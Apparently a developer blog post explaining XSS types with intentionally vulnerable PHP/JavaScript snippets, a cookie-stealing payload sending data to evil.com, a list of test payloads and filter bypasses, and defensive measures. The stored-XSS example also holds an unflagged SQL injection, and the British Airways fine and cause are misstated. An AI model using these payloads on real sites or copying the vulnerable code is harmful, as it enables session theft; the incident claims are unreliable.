XSS Attacks: When Users Inject JavaScript Into Your Site ๐ญ
XSS Attacks: When Users Inject JavaScript Into Your Site ๐ญ
So I was reviewing code for a friend's website last week, and I found this beauty:
echo "<div>Welcome back, " . $_GET['name'] . "!</div>";
"What's wrong with that?" they asked.
Everything. EVERYTHING is wrong with that. ๐จ
Let me show you why Cross-Site Scripting (XSS) is the security vulnerability that keeps on giving... to hackers.
What Even Is XSS? ๐ค
Simple version: It's when you let users write JavaScript that runs on OTHER people's browsers.
Real-world analogy: Imagine you own a billboard. Someone writes "Free Pizza!" on it. People see YOUR billboard and believe it's YOUR message. Except instead of pizza, it's malicious code stealing their passwords.
Yeah, not great!
The Three Flavors of Evil ๐ฆ
1. Stored XSS - The Time Bomb ๐ฃ
This is the scary one. The malicious code gets SAVED in your database.
Example scenario:
// User submits a comment
$comment = $_POST['comment'];
DB::insert("INSERT INTO comments (text) VALUES ('$comment')");
// Later, you display it
$comments = DB::select("SELECT * FROM comments");
foreach ($comments as $comment) {
echo "<p>" . $comment->text . "</p>"; // BOOM! ๐ฅ
}
What the attacker posts:
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Result: Every visitor who sees that comment gets their session stolen. It's like planting a landmine that explodes on everyone who walks by!
2. Reflected XSS - The Instant Hit โก
The malicious code comes from the URL and gets reflected back immediately.
The vulnerable code:
// Search results page
$search = $_GET['q'];
echo "<h1>Results for: " . $search . "</h1>";
The attack URL:
yoursite.com/search?q=<script>alert('Hacked!')</script>
Why it's dangerous: Attackers send this link via email or social media. Users click it, thinking it's YOUR legit site, and boom - malicious code runs with YOUR site's permissions.
3. DOM-Based XSS - The Frontend Sneaker ๐ฅท
This happens entirely in JavaScript, never touches your server.
The vulnerable code:
// Taking URL parameter and putting it directly in the page
const username = new URLSearchParams(window.location.search).get('user');
document.getElementById('welcome').innerHTML = `Welcome ${username}!`;
The attack:
yoursite.com?user=<img src=x onerror='alert(document.cookie)'>
Pro tip: Using innerHTML with user data? You're basically asking to get hacked.
Real Talk: What Can Attackers Actually Do? ๐ฑ
"Okay, they can run JavaScript. So what?"
Oh sweet summer child, they can:
- Steal session cookies โ Take over accounts
- Capture keystrokes โ Get passwords as users type them
- Modify the page โ Show fake login forms
- Redirect users โ Send them to phishing sites
- Mine cryptocurrency โ Use visitor's CPU power
- Spread worms โ Self-replicate across your platform
It's not just alert('Hacked!') popups. It's full-on account takeovers and data theft.
The Defense Arsenal ๐ก๏ธ
1. Escape EVERYTHING (The Golden Rule)
Laravel/Blade (EASY MODE):
{{-- Safe - Auto-escaped --}}
<p>{{ $userInput }}</p>
{{-- DANGEROUS - Unescaped --}}
<p>{!! $userInput !!}</p>
React (Also Easy):
// Safe - React auto-escapes
<div>{userInput}</div>
// DANGEROUS - dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />
Plain PHP (Do It Yourself):
// Good
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Bad
echo $userInput; // Hope you like getting pwned!
The magic: htmlspecialchars() converts <script> into <script> - harmless text instead of executable code!
2. Content Security Policy - Your Bodyguard ๐
CSP is like a bouncer for your website. It decides what JavaScript can run.
Add this header:
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
What this does:
default-src 'self'- Only load resources from your own domainscript-src 'self'- Only run scripts from your domainobject-src 'none'- No Flash/plugins (it's 2026, why would you?)
Even if an attacker injects code, CSP blocks it from running!
3. HTTPOnly Cookies - The Session Saver ๐ช
// Bad
setcookie('session_id', $id);
// Good
setcookie('session_id', $id, [
'httponly' => true, // JavaScript can't access it!
'secure' => true, // HTTPS only
'samesite' => 'Strict' // Extra CSRF protection
]);
Translation: Even if XSS happens, attackers can't steal your session cookie via JavaScript. Game changer!
4. Input Validation - The First Line ๐ง
// Validate, don't just trust
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die('Nice try, hacker!');
}
// Use allowlists, not blocklists
$allowedTags = ['b', 'i', 'u', 'p'];
$clean = strip_tags($input, $allowedTags);
Why? Blocklists are impossible to maintain. There are a million ways to sneak in XSS. Allow only what you KNOW is safe.
The "But I Need Rich Content!" Problem ๐
Scenario: You're building a blog/forum where users NEED to format text.
WRONG solution: Allow all HTML RIGHT solution: Use a library that sanitizes HTML
// Use HTMLPurifier
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($userInput);
// Or DOMPurify in JavaScript
const clean = DOMPurify.sanitize(dirty);
These libraries know EVERY XSS trick in the book and strip them out!
Testing Your Defenses ๐งช
Try these XSS payloads on your own site:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
If ANY of these execute, you have a problem!
Better yet, use automated tools:
- XSS Hunter - Finds blind XSS
- Burp Suite - Professional scanner
- OWASP ZAP - Free scanner
Quick Wins (Implement NOW!) ๐โโ๏ธ
- Switch to
{{ }}in Blade - 5 minutes, huge protection - Add CSP header - One line of code
- Make cookies HTTPOnly - Edit your config
- Use
textContentnotinnerHTML- In JavaScript - Install DOMPurify - For any rich content
Common Mistakes I See ๐
Mistake #1: "I'll Just Block <script>"
// This doesn't work!
$safe = str_replace('<script>', '', $userInput);
Why it fails:
<img src=x onerror=alert()> <!-- No <script> needed! -->
<ScRiPt>alert()</sCrIpT> <!-- Case variation -->
<scr<script>ipt> <!-- Nested tags -->
There are literally hundreds of ways to execute JavaScript without <script>.
Mistake #2: "I Only Use HTTPS, I'm Safe!"
HTTPS protects data in transit. XSS happens AFTER the data arrives. Totally different problems!
Mistake #3: "My Framework Handles It!"
Half true. Modern frameworks auto-escape by default, BUT:
- One
{!! !!}in Blade = vulnerability - One
dangerouslySetInnerHTMLin React = vulnerability - One
v-htmlin Vue = vulnerability
You have to ACTIVELY avoid the unsafe options.
Real-World War Story ๐
In 2018, British Airways had an XSS vulnerability. Attackers injected code that:
- Captured credit card details
- Sent them to attacker's servers
- Affected 380,000 transactions
The fine: $230 million USD.
The fix: Proper input sanitization. Something that would've taken a few hours to implement.
Let that sink in. $230 million for skipping basic XSS protection.
Your XSS Prevention Checklist โ
- Auto-escape all user input (use
{{ }}, not{!! !!}) - Add Content Security Policy headers
- Set cookies to HTTPOnly and Secure
- Use
textContentinstead ofinnerHTMLin JavaScript - Validate input (allowlist, not blocklist)
- Use DOMPurifier/HTMLPurifier for rich content
- Test with XSS payloads regularly
- Keep dependencies updated
- Never trust user input (even from your own users!)
The Bottom Line ๐ฏ
XSS is like leaving your front door unlocked and then being surprised when someone walks in.
The good news? Modern frameworks make it EASY to defend against. You just have to:
- Use the framework's built-in escaping
- Add a CSP header
- Don't use the "unsafe" options unless you REALLY know why
The bad news? One mistake = entire site compromised.
Think of XSS protection like using condoms - boring, basic, but absolutely essential. And way better than dealing with the consequences! ๐
Want to learn more about security? Follow me on LinkedIn for daily security tips!
Building something cool? Check out my GitHub for more secure code examples!
Now go forth and sanitize ALL the inputs! ๐ก๏ธโจ